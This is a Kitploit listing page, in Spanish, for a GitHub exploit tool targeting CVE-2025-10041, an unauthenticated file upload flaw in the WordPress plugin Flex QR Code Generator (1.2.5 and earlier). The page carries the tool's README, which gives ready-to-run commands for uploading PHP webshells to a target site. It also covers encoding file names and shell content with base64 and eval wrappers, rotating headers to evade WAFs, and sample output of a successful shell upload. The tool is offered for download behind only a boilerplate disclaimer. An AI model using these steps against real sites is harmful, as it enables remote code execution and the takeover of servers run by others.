Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-10041 — Flex QR Code Generator <= 1.2.5 - Subida arbitraria de archivos sin autenticación | Kitploit
Herramientas/GitHubGitHub/nxploited/cve-2025-10041
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónEvasión de IDS/IPSExplotación de Aplicaciones WebEvasión de WAF
GitHubnxploited/cve-2025-10041

CVE-2025-10041

Flex QR Code Generator <= 1.2.5 - Subida arbitraria de archivos sin autenticación

Ver Repositorio
319hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-10041

Flex QR Code Generator <= 1.2.5 - Carga Arbitraria de Archivos No Autenticada


🚨 Flex QR Code Generator ≤ 1.2.5 - Carga Arbitraria de Archivos No Autenticada


📝 Descripción

El complemento Flex QR Code Generator para WordPress es vulnerable a cargas de archivos arbitrarias debido a la falta de validación del tipo de archivo en la función save_qr_code_to_db() en todas las versiones hasta la 1.2.5 inclusive.
Esto permite a atacantes no autenticados subir archivos maliciosos al servidor del sitio afectado, lo que potencialmente conduce a la ejecución remota de código.

  • CVE: CVE-2025-10041
  • CVSS: 9.8 (Critical)

💡 Acerca de este script

CVE-2025-10041.py es una herramienta de explotación profesional diseñada para automatizar el ataque aprovechando esta vulnerabilidad.
Proporciona funciones avanzadas para evadir protecciones comunes y técnicas de codificación.


⚙️ Características

  • Detección automática de vulnerabilidades (comprobación de versión)
  • Carga de archivos arbitraria (incluyendo webshells PHP)
  • Bypass de codificación de nombre de archivo: codificación Base64 o URL
  • Bypass de codificación de contenido: envoltorio PHP base64 para el código del shell
  • Cabeceras HTTP aleatorias para evadir WAFs básicos
  • Soporte de cabeceras personalizadas
  • Interfaz de línea de comandos completa con análisis de argumentos y mensaje de ayuda

🖥️ Uso

1. Explotación básica

python3 CVE-2025-10041.py -u http://target.com

2. Codificación del nombre del archivo del shell

python3 CVE-2025-10041.py -u http://target.com --encode_filename base64
python3 CVE-2025-10041.py -u http://target.com --encode_filename url

3. Codificación del contenido del shell

python3 CVE-2025-10041.py -u http://target.com --encode_content base64

4. Nombre de shell personalizado

python3 CVE-2025-10041.py -u http://target.com --shellname myevil.php

5. Avanzado (Combinar opciones)

python3 CVE-2025-10041.py -u http://target.com --encode_content base64 --encode_filename base64 --shellname myevil.php

6. Cabeceras personalizadas

python3 CVE-2025-10041.py -u http://target.com --headers "X-Forwarded-For: 127.0.0.1" "Cookie: PHPSESSID=1337"

🆘 Ayuda

Para ver todas las opciones disponibles y las instrucciones de uso:

python3 CVE-2025-10041.py --help

🔓 Técnicas de bypass

  • Codificación del nombre de archivo: Algunos servidores bloquean .php o nombres sospechosos; la codificación puede evadir los filtros.
  • Codificación del contenido: Envolver el código del shell en eval(base64_decode(...)) puede evadir los filtros de contenido.
  • Cabeceras aleatorias: Rotar user-agent, referer y cookies para evitar la detección.
  • Cabeceras personalizadas: Añade tus propias cabeceras para una evasión avanzada.

📋 Ejemplo de salida

Checking vulnerability version...
Target is vulnerable ...
Exploiting ...
Uploading shell 'shell.php' ...
Shell uploaded successfully.
Shell path (guess): /wp-content/uploads/shell_3.php
Response: {...}

⚠️ Aviso legal

Este script se proporciona únicamente con fines educativos, de investigación y de pruebas de penetración autorizadas.
El uso no autorizado contra sistemas que no posees o para los que no tienes permiso explícito de prueba está estrictamente prohibido y es ilegal.
El autor no es responsable de ningún uso indebido o daño causado por esta herramienta.


✍️ Por:

Nxploited (Khaled Alenazi)


Descargar herramienta